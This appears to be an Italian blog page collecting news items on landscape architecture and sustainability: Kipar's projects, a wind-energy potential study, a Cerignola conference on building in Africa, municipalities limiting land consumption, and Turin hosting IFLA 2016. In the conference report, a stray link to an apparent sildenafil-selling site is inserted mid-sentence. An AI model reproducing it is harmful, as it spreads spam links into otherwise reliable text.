Tre gli elementi ispiratori dei progetti di Kipar, già applicati in molti territori italiani, ci sono interventi cromatici per “smaterializzare” il volume degli edifici, vegetazione autoctona per ricreare il legame interrottosi tra insediamento e contesto circostante, coperture a “verde estensivo” di capannoni ed edifici che, alla dimensione estetica, affiancano vantaggi in termini di riduzione delle escursioni termiche, isolamento e risparmio energetico.

Andreas Kipar
Architetto urbanista e architetto del paesaggio, insegna Public Space Design presso il Politecnico di Milano. Fondatore di Land Srl, è Presidente dell’associazione Green City Italia. Nel 2010 è stato chiamato dalla Regione Piemonte a coordinare il progetto “Valorizzazione del paesaggio di Langa”.

 

Fonte: edilportale.com


L’eolico potrebbe soddisfare fabbisogno mondiale di energia

Ricerca su Nature Climate Change: sulla Terra c’è abbastanza vento per coprire la domanda globale. In particolare, le più efficienti sarebbero le turbine atmosferiche, che sfruttano le brezze in alta quota, in grado di generare maggiore potenza.

 

Una riserva di energia in grado, potenzialmente, di soddisfare il fabbisogno mondiale: una vera svolta potrebbe venire dall’eolico, secondo uno studio guidato da Kate Marvel del Lawrence Livermore National Laboratory. La ricerca, uscita su Nature Climate Change, sostiene che particolarmente efficienti sarebbero le turbine atmosferiche che possono trasformare la forza dei venti ad alta quota in energia meglio delle turbine a bassa quota o sul mare che lavorano sui venti di superficie.

Usando modelli matematici e prendendo in considerazione solo le limitazioni geofisiche – e non fattori tecnici o economici – i ricercatori hanno calcolato che i venti di superficie possono generare sino a 400 terawatt di energia, mentre dai venti in tutta l’atmosfera si potrebbero ottenere 1800 terawatt. Secondo i dati disponibili, sul pianeta il fabbisogno energetico oggi è quantificabile in 18 terawatt di potenza. Se ne deduce che con i venti di superficie si potrebbe generare una potenza pari a 20 volte il fabbisogno terrestre e con quelli di alta quota di ben oltre 100 volte.

Lo studio mostra però che per avere effetti globali, le pale per la produzione di energia eolica dovrebbero essere distribuite uniformemente su tutta la superficie terrestre e non concentrate in poche regioni. Gli effetti climatici, ipotizzando uno sfruttamento a livelli massimi, potrebbero essere significativi, sottolinea lo studio. Per soddisfare l’attuale fabbisogno, tuttavia, sarebbero decisamente inferiori, a patto di avere una distribuzione su ampia scala delle pale.

La fattibilità, dunque, su un piano geofisico, sarebbe garantita. “E’ più probabile, quindi”, ha sottolineato Ken Caldeira, della Carnegie Institution for Science, coautore dello studio, “che saranno fattori economici, tecnologici e politici a determinare la crescita dell’energia eolica nel mondo”.


ECOstruiamo in Africa, Convegno organizzato da Solidaunia a Cerignola (FG)

La Daunia che non t’aspetti. La Daunia che ti sorprende. Si è svolto con risvolti di notevole successo il Convegno “ECOstruiamo in Africa”. Ipotesi per un futuro”, nella splendida cornice del Palazzo Coccia, in via Garibaldi, a Cerignola, la popolosa cittadina della provincia di Foggia che per i media locali e nazionali meriterebbe di essere descritta solo per i casi di cronaca nera mentre è quasi trasparente quando si tratta di avvenimenti positivi, estremamente positivi, come il Convegno appena citato. La lunga serie di interventi nella complessa articolazione della strutturazione stessa della data del 18 giugno scorso si è dipanata secondo la pianificazione attuata da Solidaunia – La Daunia per il Mondo – Onlus illustrata attraverso le parole del Presidente Onorario Antonio Scopelliti, che si è avvalso di varie figure operative estremamente fattive come Enza Traversi della Ditta traversi IN.CO di Traversi, tra le più attive a sostegno della conduzione e organizzazione del Convegno dauno, cerca di dare anima e forma a progetti destinati al Sud del Mondo come Guinea Bissau, Angola ma anche Albania. Non mancano progetti che riguardano anche la stessa Italia. Solidaunia è una ONG (Organizzazione Non Governativa) nata a Foggia nel 2005 dall’unione di più associazioni che erano già variamente coinvolte in progetti finalizzati alla cooperazione internazionale e allo sviluppo.

Si tratta di un network solidale attuato da Solidaunia, appunto, Tierra Sin Frontieras, G.I.B. Onlus e Ami.giò. Solidaunia opera principalmente nel campo socio-sanitario e agroalimentare ma agisce anche nell’ambito di istruzione e infanzia.

I progetti principali, come appena annotato, sono in Albania e Guinea Bissau ma –in realtà- attraverso una progettualità di rete, opera anche in Angola, India, Brasile e Perù. Solidaunia è partner dell’Università di Foggia nell’organizzazione del Master di primo livello “Cooperazione, Salute e Pace”.

I lavori del lungo ed articolato Convegno sono stati moderati dall’architetto Francesco Lepore. Ma il vero e proprio “fulcro” del Convegno in terra dauna è stato l’intervento dell’architetto Fabrizio Caròla, intitolato “Antiche tecnologie per una nuova architettura” dove sono stati offerti numerosi esempi verbali, sotto forma di testimonianza professionale e visuali, relativi ai progetti in essere http://thesildenafil.com/ e completati in terra d’Africa in senso solidaristico ma anche nel pieno rispetto delle culture e persino delle tecniche costruttive locali.

Fabrizio Caròla, architetto napoletano formatosi alla Scuola Nazionale Superiore d’Architettura di Bruxelles (quella fondata da Van de Velde), sin dagli Anni Sessanta progetta in Marocco, Mali e Mauritania.

E’ strenuamente impegnato, in prima persona, nel sostenere l’efficacia di un modello costruttivo fondato sul recupero di elementi della tradizione architettonica africana: archi, volte e cupole di derivazione nubiana realizzate con il compasso ligneo, la terra cruda ed il mattone cotto.

L’architetto Caròla si avvale di studi approfonditi proprio nel campo dell’analisi delle origini il cui intento principale è quello di dar vita ad un pensiero architettonico inteso come spazio primario. E questa sua pervicacia ed ostinazione l’hanno portato a vivere la gran parte della sua vita e professione in terra d’Africa.

Al Convegno hanno presenziato anche il Sindaco di Cerignola, Antonio Giannatempo, Don Carmine Ladogana, in rappresentanza di Mons. Felice di Molfetta, Arcivescovo dell’Arcidiocesi di Cerignola, Mons. Francesco Pio Tamburrino, Arcivescovo dell’Arcidiocesi di Foggia, Mons. José José Camnate, Arcivescovo della Diocesi di Bissau.

Dopo l’intervento magistrale dell’architetto Caròla, è stato possibile ascoltare anche gli interventi dell’Ingegner Carmela Antonietta Citarelli (“Sostenibilità ambientale e sostenibilità economica”); dell’Architetto Fabio Armillotta della Facoltà di Architettura, Università di Pescara (“Le politiche di incentivazione per l’architettura sostenibile”) e dell’architetto Gianni Gagliardi, che ha illustrato un vero e proprio concorso di idee sui temi del Convegno.

Numerosi gli interventi successivi ed il parterre degli sponsor, senza dimenticare di menzionare i Patrocinii dell’Arcidiocesi di Cerignola, dell’Arcidiocesi di Foggia-Bovino, della diocesi di Bissau, dell’Ufficio Diocesano di Arte Sacra e Beni Culturali, dell’Università degli Studi di Foggia, dell’Università degli Studi di Pescara, del Comune di Cerignola, della Coldiretti, della Fondazione Campagna Amica, della Fondazione Banca del Monte di Foggia, dell’Ordine degli Architetti di Foggia, dell’Ordine degli Ingegneri di Foggia, della sponsorizzazione di Traversi IN.CO. di Traversi srl e di AKS Group, di Villeroy & Boch 1748, di Gessi, di Ceramiche Sant’Agostino, di FAP Ceramiche e di Ceramiche Castelvetro. Contestualmente è stata allestita una Mostra Fotografica collettiva e sono stati allestiti stand con svariati disegni dell’architetto Fabrizio Caròla.

Hanno chiuso i lavori, le degustazioni dei prodotti del territorio a cura delle aziende agricole “Campagna Amica” e “Coldiretti di Foggia”.

 

 

Fonte: culturalnews.it/dettaglio.asp?id=19598


Comuni che rinunciano agli oneri di urbanizzazione per salvaguadrare il territorio agricolo.

Coniugare il bilancio comunale nella parte corrente rinunciando agli oneri di urbanizzazione derivanti dalla espansione delle città, quindi dalla cementificazione delle campagne. Il territorio è un bene finito, lo hanno capito bene alcuni comuni dalla Brianza alla Val Susa che sono riusciti nell’intento di escludere dal bilancio comunale gli introiti delle urbanizzazioni. Il segreto stà in politiche con i piedi per terra, che rinunciano a spese per opere faraoniche, spesso utili solo a soddisfare l’ego del politico che le fa realizzare. Lo sanno bene gli amministratori di Cassinetta di Lugagnano [MI], Solza [BG], Desio [MB], Ronco Briantino [MB], Ozzero (MI). In questo video di Altreconomia parlano i sindaci dei comuni che hanno fatto una scelta a lungo raggio per la sostenibilità della crescita delle città. Sostenibilità degli interventi e riduzione del consumo del suolo sono punti fondamentali di protocolli di costruzione in qualità come ad esempio LEED, in quanto presevare il territorio migliora il nostro rapporto con l’ambiente e spinge a rinnovare parti di città laddove sono già presenti servizi, collegamenti stradali, ecc… con enorme risparmio per la collettività e per l’ambiente.


Torino 2016, Congresso mondiale degli architetti del paesaggio

La notizia arriva dall’assessore all’Innovazione, sviluppo e sostenibilità urbana Enzo La Volta, che si è recato a Cape Town, in Sudafrica, per sostenere la candidatura di Torino durantel’edizione 2012 del congresso, in corso in questi giorni. Torino, comunica, ha ricevuto la maggioranza assoluta dei voti, ed è quindi stata scelta come destinazione ospite dell’International Federation of Landscape Architects (IFLA) World Congress 2016, che si svolgerà probabilmente al Centro Congressi Lingotto e porterà in città circa 3.000 delegati, per un totale di oltre 9.000 pernottamenti.

La candidatura, promossa dall’Associazione Italiana di Architettura del Paesaggio (AIAPP), è stata presentata dal Servizio centrale attività internazionali e dal Servizio urbanizzazioni del Comune di Torino con il supporto di Turismo Torino e Provincia Convention & Visitors Bureau;l’acquisizione è avvenuta anche in virtù del legame del territorio con l’architettura del paesaggio: il Piemonte vanta due siti Unesco Patrimonio dell’Umanità (le Residenze sabaude e i Sacri monti del Piemonte) e due nella lista dei candidati (Ivrea e il distretto Langhe, Roero, Monferrato).

“Portare a Torino l’IFLA World Congress significa porre all’attenzione degli specialisti del paesaggio quanto è stato fatto e quanto si intende ancora fare per promuovere le attrattive storiche e naturali del territorio” dicono a Torino. “È stata una competizione difficile”, commenta l’assessore La Volta, “ma è stato riconosciuto il lavoro svolto dall’Amministrazione comunale per il miglioramento della qualità ambientale del territorio cittadino. Questo congresso è per Torino un’importante occasione di visibilità internazionale, sia dal punto di vista culturale sia turistico”.

“Il congressuale è un asset di estrema importanza sul quale continuare ad investire: stimiamo che la ricaduta economica diretta sul territorio dell’IFLA World Congress 2016 sarà di 2.700.000/4.500.000 euro in termini di spesa per alberghi, ristorazione, trasporti, attività leisure e shopping” dice Marcella Gaspardone, direttore marketing di Turismo Torino e Provincia Convention & Visitors Bureau. “A questo bisogna poi aggiungere la ricaduta economica indiretta e il grande ritorno di immagine”.

 

Fonte: http://www.eventreport.it